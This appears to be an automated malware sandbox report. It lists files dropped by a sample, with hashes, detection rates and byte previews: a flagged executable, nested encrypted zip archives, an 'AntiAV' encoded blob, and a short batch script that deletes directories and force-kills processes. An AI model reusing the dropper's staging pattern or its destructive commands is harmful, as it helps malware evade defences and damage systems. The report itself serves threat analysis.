                                                                                                                                                                                                                                                            Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                                            SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                            MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                            SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                            SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                            SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                                            Reputation:unknown
                                                                                                                                                                                                                                                            Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

                                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                                            Process:C:\Users\user\Desktop\file.exe
                                                                                                                                                                                                                                                            File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                                            Size (bytes):2936832
                                                                                                                                                                                                                                                            Entropy (8bit):6.5890241018351094
                                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                                            SSDEEP:49152:kNv6yZz1fXBB9nu/SkIK3OdW+56W0xSDmoJb3:s6yZz1fRB9nu/SkIK3ibpDmA
                                                                                                                                                                                                                                                            MD5:8CBE0CED0C0F7BFBDF19128BA80ADB99
                                                                                                                                                                                                                                                            SHA1:15E615A0FE64FE5200DD916232D9BC26B1C3D815
                                                                                                                                                                                                                                                            SHA-256:055C34101C332838618FDEDB730655F61B97553C5E56DF94EFD373667A3DB895
                                                                                                                                                                                                                                                            SHA-512:4B258260770B08FDD8F14B7BF0E703B8CA5010E4698E457BC0CFC76C246FB9E7C60EE4D2068B717F8205C2C1954D3B6B8742ED2547B67082F5B89C63D850E938
                                                                                                                                                                                                                                                            Malicious:true
                                                                                                                                                                                                                                                            Antivirus:
                                                                                                                                                                                                                                                            • Antivirus: Avira, Detection: 100%
                                                                                                                                                                                                                                                            • Antivirus: Joe Sandbox ML, Detection: 100%
                                                                                                                                                                                                                                                            • Antivirus: ReversingLabs, Detection: 53%
                                                                                                                                                                                                                                                            Reputation:unknown
                                                                                                                                                                                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................0...........@...........................0.......-...@.................................W...k............................a0..............................`0..................................................... . ............................@....rsrc...............................@....idata ............................@...xdyibhef..).......).................@...nfincoke.....p0.......,.............@....taggant.0....0.."....,.............@...........................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe:Zone.Identifier

                                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                                            Process:C:\Users\user\Desktop\file.exe
                                                                                                                                                                                                                                                            File Type:ASCII text, with CRLF line terminators
                                                                                                                                                                                                                                                            Category:modified
                                                                                                                                                                                                                                                            Size (bytes):26
                                                                                                                                                                                                                                                            Entropy (8bit):3.95006375643621
                                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                                            SSDEEP:3:ggPYV:rPYV
                                                                                                                                                                                                                                                            MD5:187F488E27DB4AF347237FE461A079AD
                                                                                                                                                                                                                                                            SHA1:6693BA299EC1881249D59262276A0D2CB21F8E64
                                                                                                                                                                                                                                                            SHA-256:255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
                                                                                                                                                                                                                                                            SHA-512:89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
                                                                                                                                                                                                                                                            Malicious:true
                                                                                                                                                                                                                                                            Reputation:unknown
                                                                                                                                                                                                                                                            Preview:[ZoneTransfer]....ZoneId=0

                                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\main\7z.dll

                                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                                            Process:C:\Users\user\AppData\Local\Temp\1017190001\2ebf261090.exe
                                                                                                                                                                                                                                                            File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                                            Size (bytes):1679360
                                                                                                                                                                                                                                                            Entropy (8bit):6.278252955513617
                                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                                            SSDEEP:24576:S+clx4tCQJSVAFja8i/RwQQmzgO67V3bYgR+zypEqxr2VSlLP:jclmJSVARa86xzW3xRoyqqxrT
                                                                                                                                                                                                                                                            MD5:72491C7B87A7C2DD350B727444F13BB4
                                                                                                                                                                                                                                                            SHA1:1E9338D56DB7DED386878EAB7BB44B8934AB1BC7
                                                                                                                                                                                                                                                            SHA-256:34AD9BB80FE8BF28171E671228EB5B64A55CAA388C31CB8C0DF77C0136735891
                                                                                                                                                                                                                                                            SHA-512:583D0859D29145DFC48287C5A1B459E5DB4E939624BD549FF02C61EAE8A0F31FC96A509F3E146200CDD4C93B154123E5ADFBFE01F7D172DB33968155189B5511
                                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                                            Antivirus:
                                                                                                                                                                                                                                                            • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                                            Reputation:unknown
                                                                                                                                                                                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........w...$...$...$.&.$...$.&.$...$...$...$.&.$%..$.&.$..$.&G$...$.&.$...$.&.$...$.&.$...$Rich...$........................PE..d.....n\.........." .........H...............................................P............`.............................................y...l...x........{...p.......................................................................................................text............................... ..`.rdata..9...........................@..@.data...............................@....pdata.......p... ..................@..@.rsrc....{.......|..................@..@.reloc...0.......2...n..............@..B........................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\main\7z.exe

                                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                                            Process:C:\Users\user\AppData\Local\Temp\1017190001\2ebf261090.exe
                                                                                                                                                                                                                                                            File Type:PE32+ executable (console) x86-64, for MS Windows
                                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                                            Size (bytes):468992
                                                                                                                                                                                                                                                            Entropy (8bit):6.157743912672224
                                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                                            SSDEEP:6144:fz1gL5pRTMTTjMkId/BynSx7dEe6XwzRaktNP08NhKs39zo43fTtl1fayCV7+DHV:r1gL5pRTcAkS/3hzN8qE43fm78V
                                                                                                                                                                                                                                                            MD5:619F7135621B50FD1900FF24AADE1524
                                                                                                                                                                                                                                                            SHA1:6C7EA8BBD435163AE3945CBEF30EF6B9872A4591
                                                                                                                                                                                                                                                            SHA-256:344F076BB1211CB02ECA9E5ED2C0CE59BCF74CCBC749EC611538FA14ECB9AAD2
                                                                                                                                                                                                                                                            SHA-512:2C7293C084D09BC2E3AE2D066DD7B331C810D9E2EECA8B236A8E87FDEB18E877B948747D3491FCAFF245816507685250BD35F984C67A43B29B0AE31ECB2BD628
                                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                                            Antivirus:
                                                                                                                                                                                                                                                            • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                                            Reputation:unknown
                                                                                                                                                                                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........(...{...{...{...{...{...{...{...{...{...{...{...{...{..!{...{...{...{...{...{Rich...{................PE..d.....n\.........."..........l...... .........@...........................................`.....................................................x....`..........,a...........p.......................................................... ............................text............................... ..`.rdata..............................@..@.data....,..........................@....pdata..,a.......b..................@..@.rsrc........`......................@..@.reloc.......p......................@..B........................................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\main\KillDuplicate.cmd

                                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                                            Process:C:\Users\user\AppData\Local\Temp\1017190001\2ebf261090.exe
                                                                                                                                                                                                                                                            File Type:ASCII text, with CRLF line terminators
                                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                                            Size (bytes):222
                                                                                                                                                                                                                                                            Entropy (8bit):4.855194602218789
                                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                                            SSDEEP:6:vFuj9HUHOPLtInnIgvRY77flFjfA+qpxuArS3+xTfVk3:duj9HeONgvRYnlfYFrSMTtk3
                                                                                                                                                                                                                                                            MD5:68CECDF24AA2FD011ECE466F00EF8450
                                                                                                                                                                                                                                                            SHA1:2F859046187E0D5286D0566FAC590B1836F6E1B7
                                                                                                                                                                                                                                                            SHA-256:64929489DC8A0D66EA95113D4E676368EDB576EA85D23564D53346B21C202770
                                                                                                                                                                                                                                                            SHA-512:471305140CF67ABAEC6927058853EF43C97BDCA763398263FB7932550D72D69B2A9668B286DF80B6B28E9DD1CBA1C44AAA436931F42CC57766EFF280FDB5477C
                                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                                            Reputation:unknown
                                                                                                                                                                                                                                                            Preview:Cd /d %1..Rd "%SfxVarApiPath%"..For /f "Tokens=1,2 Delims=," %%I In ('TaskList /fo CSV /nh') Do (.. If %%I==%2 (.. Set /a N+=1.. Set PID=%%~J.. )..)..If %N% EQU 1 Rd /s /q %1..If %N% GTR 1 TaskKill /pid %PID% /t /f

                                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\main\extracted\AntiAV.data

                                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                                            Process:C:\Users\user\AppData\Local\Temp\main\7z.exe
                                                                                                                                                                                                                                                            File Type:ASCII text, with very long lines (65536), with no line terminators
                                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                                            Size (bytes):2355713
                                                                                                                                                                                                                                                            Entropy (8bit):5.891648193754473
                                                                                                                                                                                                                                                            Encrypted:false
                                                                                                                                                                                                                                                            SSDEEP:24576:5yZBPkpRrP9pxC+XvoflcYy36s3vb0EecYy37n92k8GtGAQZ67hR7krC/Cyf0/xO:R9kqGu7okoZscCnf0/Zs9p
                                                                                                                                                                                                                                                            MD5:579A63BEBCCBACAB8F14132F9FC31B89
                                                                                                                                                                                                                                                            SHA1:FCA8A51077D352741A9C1FF8A493064EF5052F27
                                                                                                                                                                                                                                                            SHA-256:0AC3504D5FA0460CAE3C0FD9C4B628E1A65547A60563E6D1F006D17D5A6354B0
                                                                                                                                                                                                                                                            SHA-512:4A58CA0F392187A483B9EF652B6E8B2E60D01DAA5D331549DF9F359D2C0A181E975CF9DF79552E3474B9D77F8E37A1CF23725F32D4CDBE4885E257A7625F7B1F
                                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                                            Reputation:unknown
                                                                                                                                                                                                                                                            Preview:KmO6sb9bzFlO6QmlyBR3cUuBrPdmJRJBhXshklfui2fRJCiITlYNEM2EqC9x9I0qVq7CGnIhkwh6hvGvu5pkfBRaoLATG90WNTmCTDFIBTSnd7l9KiCxIUJ5zlBvrKkHZaxyJb0N052Q1AaMDCASX2cw1ZaV1bKcufYPprTSqVIRscgIruKC2MOUPLxNBR1egyVxwSbedVhVl89lRxHAMRMf16G6Ry1TTz7dOtnEaLQowPwuw8eDnR20ZOyf9yYTVcpDsiS4K2VzryfyiwiOXZDq7UaTFrtOgtVQzuNXN74O8xkfvt4Ykzxcs60WfAkGZKsYbwZWS4bPPY8cze1vDL6leHmcDUIbsBvTleZtzGhgeYGdRaUmv5ljenoBZOBDIndh9KTa7zBVHuP4jAK8C2IKaB5BgFReYTleqD0cCkhTdxbkQAMwHPuKktcCRORGmFfE37OzhnpNUtRyIHoGBwau6RcKp6vTNwIWRMkDjZaejD2NS5TCgRvcwgZcldKIAtOqIN0TXMXlnX6scNgHltMTvvwSZbBsDdCGRINZlutVfbP6joQl5sw21ICykYYYKwRfLlfpREpOzuAjwo7oC8hJ4Tv652auJh1RujdaLcIfX5oB1GDuu95ojl52qB08Lzg7nIl7yDb4k9X8rUPZ857XTGTaXkhL77wwG75hAnvfazjbPfP5GZrDYRdhe2I0zSJZuV5aaWd5Imf8Ck0w9ALkKR7xhRlclC4FnJOBuXxpdcsG9gE8tgukaoXpzf4z0CHJ0VOfBNcErBEPyoWMZfee3Vfg2NyLVPvaC6c5HNC1mZSr0SpB1RAlj2w7ST9eZL5DUYwl8p6flt6I3p7MBJrZLlY3LgBSr5F4BYYU6sebHdx0ES2Ci6J9wBw0wGLCy8SeSDS45pkrvWvTZkvW2oFTNBda3aYJyut0zJi1Chjp4xQkH1cEMWZUOy7MueiWNcfeKZqM4Gg2hr7XoLoTQXyvcXvxeOwXoXJKXvu4

                                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\main\extracted\file_1.zip

                                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                                            Process:C:\Users\user\AppData\Local\Temp\main\7z.exe
                                                                                                                                                                                                                                                            File Type:Zip archive data, at least v2.0 to extract, compression method=deflate
                                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                                            Size (bytes):1799594
                                                                                                                                                                                                                                                            Entropy (8bit):7.99773141173711
                                                                                                                                                                                                                                                            Encrypted:true
                                                                                                                                                                                                                                                            SSDEEP:49152:8yj13b27Gvrb6VZvqF7iGc8bbmuXZTsD28cz2TPt0JhJ+:tj13Trb6i5iGmuXZTbBizt0Jhc
                                                                                                                                                                                                                                                            MD5:5659EBA6A774F9D5322F249AD989114A
                                                                                                                                                                                                                                                            SHA1:4BFB12AA98A1DC2206BAA0AC611877B815810E4C
                                                                                                                                                                                                                                                            SHA-256:E04346FEE15C3F98387A3641E0BBA2E555A5A9B0200E4B9256B1B77094069AE4
                                                                                                                                                                                                                                                            SHA-512:F93ABF2787B1E06CE999A0CBC67DC787B791A58F9CE20AF5587B2060D663F26BE9F648D116D9CA279AF39299EA5D38E3C86271297E47C1438102CA28FCE8EDC4
                                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                                            Reputation:unknown
                                                                                                                                                                                                                                                            Preview:PK........i..Y..5..u..........in.exe.Y.4.a...3c0.e.c..X....0.\[...3Hb....^.*..T.-f..$k.b..#&.B.v...s.s....{.......{..|.s.O......._....H.........(4.Io..""..q...CO.......G...)1......!...c:....=.....h.w?.o.q................4,.....\..:................_................(...S......Q.....wP..../3.......?..b......@.m.;.W...........:......8.......a..o.O....a......."......'..S....@....&.V.........*(..p...u.sa=F.....~.".p..".B...eE...x..w.m....d..h...4...@.`......F.Z......h.[._O.\f....t..?..7s|&Fj..T:.m..*.J..sk..t.\K*]...h5..[...).E.,.4.....u...tP7B.0.I...H.15........+..[..G..)...M..;..H.?g...\.\.ZT.Q..&..@....nnx......s..1W...x.W..M2.h@.C@<.B\.&..:hgwM...$...y....._..z?....< ..T.._..^./m{.E..Y*.;ol..&_/./....3........x.%....$..=.^}.}..53.....|...|-... #..Z-.b.Ej...q.u..L-..x8...%..P:PKs...]....}...;:.Z........H..3k..F..:....X2a.e..G..f6...}....H.V.#r.H....T.....!....~...R%xu....(^......U.{.......l..RtFDi......./..t?......6FU....;2].@...z..8..K^B/W..

                                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\main\extracted\file_2.zip

                                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                                            Process:C:\Users\user\AppData\Local\Temp\main\7z.exe
                                                                                                                                                                                                                                                            File Type:Zip archive data, at least v1.0 to extract, compression method=store
                                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                                            Size (bytes):1799748
                                                                                                                                                                                                                                                            Entropy (8bit):7.997729415613798
                                                                                                                                                                                                                                                            Encrypted:true
                                                                                                                                                                                                                                                            SSDEEP:49152:5yj13b27Gvrb6VZvqF7iGc8bbmuXZTsD28cz2TPt0JhJ/:4j13Trb6i5iGmuXZTbBizt0Jhl
                                                                                                                                                                                                                                                            MD5:5404286EC7853897B3BA00ADF824D6C1
                                                                                                                                                                                                                                                            SHA1:39E543E08B34311B82F6E909E1E67E2F4AFEC551
                                                                                                                                                                                                                                                            SHA-256:EC94A6666A3103BA6BE60B92E843075A2D7FE7D30FA41099C3F3B1E2A5EBA266
                                                                                                                                                                                                                                                            SHA-512:C4B78298C42148D393FEEA6C3941C48DEF7C92EF0E6BAAC99144B083937D0A80D3C15BD9A0BF40DAA60919968B120D62999FA61AF320E507F7E99FBFE9B9EF30
                                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                                            Reputation:unknown
                                                                                                                                                                                                                                                            Preview:PK........n..Y*C.?.u...u......file_1.zipPK........i..Y..5..u..........in.exe.Y.4.a...3c0.e.c..X....0.\[...3Hb....^.*..T.-f..$k.b..#&.B.v...s.s....{.......{..|.s.O......._....H.........(4.Io..""..q...CO.......G...)1......!...c:....=.....h.w?.o.q................4,.....\..:................_................(...S......Q.....wP..../3.......?..b......@.m.;.W...........:......8.......a..o.O....a......."......'..S....@....&.V.........*(..p...u.sa=F.....~.".p..".B...eE...x..w.m....d..h...4...@.`......F.Z......h.[._O.\f....t..?..7s|&Fj..T:.m..*.J..sk..t.\K*]...h5..[...).E.,.4.....u...tP7B.0.I...H.15........+..[..G..)...M..;..H.?g...\.\.ZT.Q..&..@....nnx......s..1W...x.W..M2.h@.C@<.B\.&..:hgwM...$...y....._..z?....< ..T.._..^./m{.E..Y*.;ol..&_/./....3........x.%....$..=.^}.}..53.....|...|-... #..Z-.b.Ej...q.u..L-..x8...%..P:PKs...]....}...;:.Z........H..3k..F..:....X2a.e..G..f6...}....H.V.#r.H....T.....!....~...R%xu....(^......U.{.......l..RtFDi......./

                                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\main\extracted\file_3.zip

                                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                                            Process:C:\Users\user\AppData\Local\Temp\main\7z.exe
                                                                                                                                                                                                                                                            File Type:Zip archive data, at least v1.0 to extract, compression method=store
                                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                                            Size (bytes):1799902
                                                                                                                                                                                                                                                            Entropy (8bit):7.997726708945573
                                                                                                                                                                                                                                                            Encrypted:true
                                                                                                                                                                                                                                                            SSDEEP:49152:Cyj13b27Gvrb6VZvqF7iGc8bbmuXZTsD28cz2TPt0JhJV:nj13Trb6i5iGmuXZTbBizt0Jh3
                                                                                                                                                                                                                                                            MD5:5EB39BA3698C99891A6B6EB036CFB653
                                                                                                                                                                                                                                                            SHA1:D2F1CDD59669F006A2F1AA9214AEED48BC88C06E
                                                                                                                                                                                                                                                            SHA-256:E77F5E03AE140DDA27D73E1FFE43F7911E006A108CF51CBD0E05D73AA92DA7C2
                                                                                                                                                                                                                                                            SHA-512:6C4CA20E88D49256ED9CABEC0D1F2B00DFCF3D1603B5C95D158D4438C9F1E58495F8DFA200DBE7F49B5B0DD57886517EB3B98C4190484548720DAD4B3DB6069E
                                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                                            Reputation:unknown
                                                                                                                                                                                                                                                            Preview:PK........n..Y...rDv..Dv......file_2.zipPK........n..Y*C.?.u...u......file_1.zipPK........i..Y..5..u..........in.exe.Y.4.a...3c0.e.c..X....0.\[...3Hb....^.*..T.-f..$k.b..#&.B.v...s.s....{.......{..|.s.O......._....H.........(4.Io..""..q...CO.......G...)1......!...c:....=.....h.w?.o.q................4,.....\..:................_................(...S......Q.....wP..../3.......?..b......@.m.;.W...........:......8.......a..o.O....a......."......'..S....@....&.V.........*(..p...u.sa=F.....~.".p..".B...eE...x..w.m....d..h...4...@.`......F.Z......h.[._O.\f....t..?..7s|&Fj..T:.m..*.J..sk..t.\K*]...h5..[...).E.,.4.....u...tP7B.0.I...H.15........+..[..G..)...M..;..H.?g...\.\.ZT.Q..&..@....nnx......s..1W...x.W..M2.h@.C@<.B\.&..:hgwM...$...y....._..z?....< ..T.._..^./m{.E..Y*.;ol..&_/./....3........x.%....$..=.^}.}..53.....|...|-... #..Z-.b.Ej...q.u..L-..x8...%..P:PKs...]....}...;:.Z........H..3k..F..:....X2a.e..G..f6...}....H.V.#r.H....T.....!....~...R%xu..

                                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\main\extracted\file_4.zip

                                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                                            Process:C:\Users\user\AppData\Local\Temp\main\7z.exe
                                                                                                                                                                                                                                                            File Type:Zip archive data, at least v1.0 to extract, compression method=store
                                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                                            Size (bytes):1800056
                                                                                                                                                                                                                                                            Entropy (8bit):7.997723543142523
                                                                                                                                                                                                                                                            Encrypted:true
                                                                                                                                                                                                                                                            SSDEEP:49152:Zyj13b27Gvrb6VZvqF7iGc8bbmuXZTsD28cz2TPt0JhJQ:Yj13Trb6i5iGmuXZTbBizt0Jhm
                                                                                                                                                                                                                                                            MD5:7187CC2643AFFAB4CA29D92251C96DEE
                                                                                                                                                                                                                                                            SHA1:AB0A4DE90A14551834E12BB2C8C6B9EE517ACAF4
                                                                                                                                                                                                                                                            SHA-256:C7E92A1AF295307FB92AD534E05FBA879A7CF6716F93AEFCA0EBFCB8CEE7A830
                                                                                                                                                                                                                                                            SHA-512:27985D317A5C844871FFB2527D04AA50EF7442B2F00D69D5AB6BBB85CD7BE1D7057FFD3151D0896F05603677C2F7361ED021EAC921E012D74DA049EF6949E3A3
                                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                                            Reputation:unknown
                                                                                                                                                                                                                                                            Preview:PK........n..Y....v...v......file_3.zipPK........n..Y...rDv..Dv......file_2.zipPK........n..Y*C.?.u...u......file_1.zipPK........i..Y..5..u..........in.exe.Y.4.a...3c0.e.c..X....0.\[...3Hb....^.*..T.-f..$k.b..#&.B.v...s.s....{.......{..|.s.O......._....H.........(4.Io..""..q...CO.......G...)1......!...c:....=.....h.w?.o.q................4,.....\..:................_................(...S......Q.....wP..../3.......?..b......@.m.;.W...........:......8.......a..o.O....a......."......'..S....@....&.V.........*(..p...u.sa=F.....~.".p..".B...eE...x..w.m....d..h...4...@.`......F.Z......h.[._O.\f....t..?..7s|&Fj..T:.m..*.J..sk..t.\K*]...h5..[...).E.,.4.....u...tP7B.0.I...H.15........+..[..G..)...M..;..H.?g...\.\.ZT.Q..&..@....nnx......s..1W...x.W..M2.h@.C@<.B\.&..:hgwM...$...y....._..z?....< ..T.._..^./m{.E..Y*.;ol..&_/./....3........x.%....$..=.^}.}..53.....|...|-... #..Z-.b.Ej...q.u..L-..x8...%..P:PKs...]....}...;:.Z........H..3k..F..:....X2a.e..G..f6...}.

                                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\main\extracted\file_5.zip

                                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                                            Process:C:\Users\user\AppData\Local\Temp\main\7z.exe
                                                                                                                                                                                                                                                            File Type:Zip archive data, at least v1.0 to extract, compression method=store
                                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                                            Size (bytes):1800210
                                                                                                                                                                                                                                                            Entropy (8bit):7.997720745184939
                                                                                                                                                                                                                                                            Encrypted:true
                                                                                                                                                                                                                                                            SSDEEP:49152:ayj13b27Gvrb6VZvqF7iGc8bbmuXZTsD28cz2TPt0JhJw:Pj13Trb6i5iGmuXZTbBizt0JhG
                                                                                                                                                                                                                                                            MD5:B7D1E04629BEC112923446FDA5391731
                                                                                                                                                                                                                                                            SHA1:814055286F963DDAA5BF3019821CB8A565B56CB8
                                                                                                                                                                                                                                                            SHA-256:4DA77D4EE30AD0CD56CD620F4E9DC4016244ACE015C5B4B43F8F37DD8E3A8789
                                                                                                                                                                                                                                                            SHA-512:79FC3606B0FE6A1E31A2ECACC96623CAF236BF2BE692DADAB6EA8FFA4AF4231D782094A63B76631068364AC9B6A872B02F1E080636EBA40ED019C2949A8E28DB
                                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                                            Reputation:unknown
                                                                                                                                                                                                                                                            Preview:PK........n..Yab..xw..xw......file_4.zipPK........n..Y....v...v......file_3.zipPK........n..Y...rDv..Dv......file_2.zipPK........n..Y*C.?.u...u......file_1.zipPK........i..Y..5..u..........in.exe.Y.4.a...3c0.e.c..X....0.\[...3Hb....^.*..T.-f..$k.b..#&.B.v...s.s....{.......{..|.s.O......._....H.........(4.Io..""..q...CO.......G...)1......!...c:....=.....h.w?.o.q................4,.....\..:................_................(...S......Q.....wP..../3.......?..b......@.m.;.W...........:......8.......a..o.O....a......."......'..S....@....&.V.........*(..p...u.sa=F.....~.".p..".B...eE...x..w.m....d..h...4...@.`......F.Z......h.[._O.\f....t..?..7s|&Fj..T:.m..*.J..sk..t.\K*]...h5..[...).E.,.4.....u...tP7B.0.I...H.15........+..[..G..)...M..;..H.?g...\.\.ZT.Q..&..@....nnx......s..1W...x.W..M2.h@.C@<.B\.&..:hgwM...$...y....._..z?....< ..T.._..^./m{.E..Y*.;ol..&_/./....3........x.%....$..=.^}.}..53.....|...|-... #..Z-.b.Ej...q.u..L-..x8...%..P:PKs...]....}...;:.Z..

                                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\main\extracted\file_6.zip

                                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                                            Process:C:\Users\user\AppData\Local\Temp\main\7z.exe
                                                                                                                                                                                                                                                            File Type:Zip archive data, at least v1.0 to extract, compression method=store
                                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                                            Size (bytes):1800364
                                                                                                                                                                                                                                                            Entropy (8bit):7.997716835838842
                                                                                                                                                                                                                                                            Encrypted:true
                                                                                                                                                                                                                                                            SSDEEP:49152:kyj13b27Gvrb6VZvqF7iGc8bbmuXZTsD28cz2TPt0JhJv:lj13Trb6i5iGmuXZTbBizt0Jht
                                                                                                                                                                                                                                                            MD5:0DC4014FACF82AA027904C1BE1D403C1
                                                                                                                                                                                                                                                            SHA1:5E6D6C020BFC2E6F24F3D237946B0103FE9B1831
                                                                                                                                                                                                                                                            SHA-256:A29DDD29958C64E0AF1A848409E97401307277BB6F11777B1CFB0404A6226DE7
                                                                                                                                                                                                                                                            SHA-512:CBEEAD189918657CC81E844ED9673EE8F743AED29AD9948E90AFDFBECACC9C764FBDBFB92E8C8CEB5AE47CEE52E833E386A304DB0572C7130D1A54FD9C2CC028
                                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                                            Reputation:unknown
                                                                                                                                                                                                                                                            Preview:PK........n..Y..+..x...x......file_5.zipPK........n..Yab..xw..xw......file_4.zipPK........n..Y....v...v......file_3.zipPK........n..Y...rDv..Dv......file_2.zipPK........n..Y*C.?.u...u......file_1.zipPK........i..Y..5..u..........in.exe.Y.4.a...3c0.e.c..X....0.\[...3Hb....^.*..T.-f..$k.b..#&.B.v...s.s....{.......{..|.s.O......._....H.........(4.Io..""..q...CO.......G...)1......!...c:....=.....h.w?.o.q................4,.....\..:................_................(...S......Q.....wP..../3.......?..b......@.m.;.W...........:......8.......a..o.O....a......."......'..S....@....&.V.........*(..p...u.sa=F.....~.".p..".B...eE...x..w.m....d..h...4...@.`......F.Z......h.[._O.\f....t..?..7s|&Fj..T:.m..*.J..sk..t.\K*]...h5..[...).E.,.4.....u...tP7B.0.I...H.15........+..[..G..)...M..;..H.?g...\.\.ZT.Q..&..@....nnx......s..1W...x.W..M2.h@.C@<.B\.&..:hgwM...$...y....._..z?....< ..T.._..^./m{.E..Y*.;ol..&_/./....3........x.%....$..=.^}.}..53.....|...|-... #..Z-.b.Ej...q.u..

                                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\main\extracted\file_7.zip

                                                                                                                                                                                                                                                            Download File
                                                                                                                                                                                                                                                            Process:C:\Users\user\AppData\Local\Temp\main\7z.exe
                                                                                                                                                                                                                                                            File Type:Zip archive data, at least v2.0 to extract, compression method=deflate
                                                                                                                                                                                                                                                            Category:dropped
                                                                                                                                                                                                                                                            Size (bytes):3473559
                                                                                                                                                                                                                                                            Entropy (8bit):7.9992359395959935
                                                                                                                                                                                                                                                            Encrypted:true
                                                                                                                                                                                                                                                            SSDEEP:98304:8aR3D0Ae5mwdkDWm1Xo4j13Trb6i5iGmuXZTbBizt0Jhd:ds5m6sXoArb6iguZnBi5Qd
                                                                                                                                                                                                                                                            MD5:CEA368FC334A9AEC1ECFF4B15612E5B0
                                                                                                                                                                                                                                                            SHA1:493D23F72731BB570D904014FFDACBBA2334CE26
                                                                                                                                                                                                                                                            SHA-256:07E38CAD68B0CDBEA62F55F9BC6EE80545C2E1A39983BAA222E8AF788F028541
                                                                                                                                                                                                                                                            SHA-512:BED35A1CC56F32E0109EA5A02578489682A990B5CEFA58D7CF778815254AF9849E731031E824ADBA07C86C8425DF58A1967AC84CE004C62E316A2E51A75C8748
                                                                                                                                                                                                                                                            Malicious:false
                                                                                                                                                                                                                                                            Reputation:unknown
